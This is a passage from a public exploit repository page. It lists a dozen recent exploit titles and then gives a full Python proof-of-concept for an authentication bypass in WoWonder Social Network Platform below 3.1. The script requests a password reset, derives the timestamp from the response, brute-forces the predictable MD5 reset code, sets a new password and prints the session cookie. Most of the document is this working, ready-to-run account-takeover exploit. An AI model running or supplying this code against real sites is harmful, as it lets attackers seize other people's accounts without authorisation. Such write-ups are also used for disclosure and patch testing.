680a0b6cea
12 changes to exploits/shellcodes WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated) Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS) Cerberus FTP Web Service 11 - 'svg' Stored Cross-Site Scripting (XSS) Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF) OpenEMR 5.0.0 - Remote Code Execution (Authenticated) WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF Grocery crud 1.6.4 - 'order_by' SQL Injection Solar-Log 500 2.8.2 - Incorrect Access Control Solar-Log 500 2.8.2 - Unprotected Storage of Credentials Zenario CMS 8.8.52729 - 'cID' Blind & Error based SQL injection (Authenticated) WoWonder Social Network Platform 3.1 - Authentication Bypass
46 lines
No EOL
2.5 KiB
Python
Executable file
46 lines
No EOL
2.5 KiB
Python
Executable file
# Exploit Title: WoWonder Social Network Platform 3.1 - Authentication Bypass
|
|
# Date: 11.06.2021
|
|
# Exploit Author: securityforeveryone.com
|
|
# Researchers : Security For Everyone Team - https://securityforeveryone.com
|
|
# Vendor Homepage: https://www.wowonder.com/
|
|
# Software Link: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
|
|
# Version: < 3.1
|
|
# Tested on: Linux/Windows
|
|
|
|
'''
|
|
DESCRIPTION
|
|
|
|
In WoWonder < 3.1, remote attackers can take over any account due to the weak cryptographic algorithm in recover.php. The code parameter is easily predicted from the time of day.
|
|
The vulnerability is found the "code" parameter in password reset link. The password reset code can be estimated by combining the password reset link time and the random value generated between 111 and 999.
|
|
if an attacker exploits this vulnerability, attacker may access all accounts in WoWonder application.
|
|
|
|
ABOUT SECURITY FOR EVERYONE TEAM
|
|
|
|
We are a team that has been working on cyber security in the industry for a long time.
|
|
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
|
|
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools
|
|
'''
|
|
|
|
import requests
|
|
import email.utils as eut
|
|
import calendar, time;
|
|
import hashlib, re;
|
|
|
|
url = "http://wowonderlab:80/wowonder/" #change this with your target
|
|
myheaders = {"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
|
|
recoverdata = {"recoveremail": "wowondertest@securityforeveryone.com"} #change this email with your registered wowonder email address
|
|
req = requests.post(url+"requests.php?f=recover", headers=myheaders, data=recoverdata)
|
|
b = eut.parsedate(req.headers["Date"])
|
|
respepoch = calendar.timegm(time.strptime("{0}-{1}-{2} {3}:{4}:{5}".format(b[0],b[1],b[2],b[3],b[4],b[5]), '%Y-%m-%d %H:%M:%S'))
|
|
|
|
for token in range(111,1000):
|
|
str2hash = "{0}{1}".format(token,respepoch)
|
|
email_code = hashlib.md5(str2hash.encode()).hexdigest()
|
|
|
|
req_reset = requests.get(url+"index.php?link1=reset-password&code=1_{0}".format(email_code))
|
|
if len(re.findall("New password",req_reset.text)) == 1:
|
|
print(email_code)
|
|
resetdata = {"password": "10711071", "id": "1_"+email_code}
|
|
reqtoken = requests.post(url+"requests.php?f=reset_password", headers=myheaders, data=resetdata)
|
|
print(reqtoken.headers['Set-Cookie'])
|
|
break |